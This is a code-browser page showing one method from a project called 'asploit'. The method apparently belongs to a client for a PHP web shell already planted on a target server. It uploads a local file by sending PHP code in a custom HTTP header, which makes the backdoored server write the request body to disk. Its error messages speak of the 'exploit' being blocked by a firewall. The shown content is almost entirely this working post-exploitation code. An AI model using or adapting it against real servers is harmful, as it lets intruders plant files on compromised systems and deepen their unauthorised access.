MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__upload

Method _Base__upload

src/PHPExploitProcessor.py:226–269  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

224 @brief See base class for details.
225 """
226 def _Base__upload(self, options: str):
227 if len(options) == 0:
228 raise CommandException("Specify a file to upload.")
229 local_file_path = Path(options)
230 if not local_file_path.exists():
231 raise CommandException("File does not exist.")
232 if not local_file_path.is_file():
233 raise CommandException("File is not a file.")
234
235 url = f"{self.host}{self.path}"
236 if not self.host.startswith("http"):
237 url = "http://" + url
238 try:
239 if (self.__file_exists(local_file_path.name)):
240 choice = input("Override existing file? [y/N] ")
241 if not choice.lower().startswith('y'):
242 return
243
244 message = (f"chdir('{self.directory}');"
245 f"$ds=fopen('php://input','rb');"
246 f"if($ds && $fp=fopen('{local_file_path.name}','wb')){{"
247 f"while(!feof($ds)){{fwrite($fp,fread($ds,4096));}}"
248 f"}}else{{"
249 f"header('{self.header}: Fail.');exit();"
250 f"}}header('{self.header}: Done.');exit();")
251 print("Uploading file...")
252 binary = local_file_path.read_bytes()
253
254 response = requests.request(
255 self.method,
256 url,
257 headers={ f"{self.header}": message },
258 data=binary
259 )
260 if not response.ok:
261 raise Exception()
262 if not self.header in response.headers:
263 raise CommandException(
264 f"No message sent back from server, your exploit is "
265 f"probably being filtered by a firewall.")
266
267 print(response.headers[self.header])
268 except:
269 raise CommandException(f"Could not upload file.")
270
271 def _Base__rm(self, options: str):
272 out = self.__eval(f"$out='File does not exist.';"

Callers

nothing calls this directly

Calls 2

__file_existsMethod · 0.95
CommandExceptionClass · 0.85

Tested by

no test coverage detected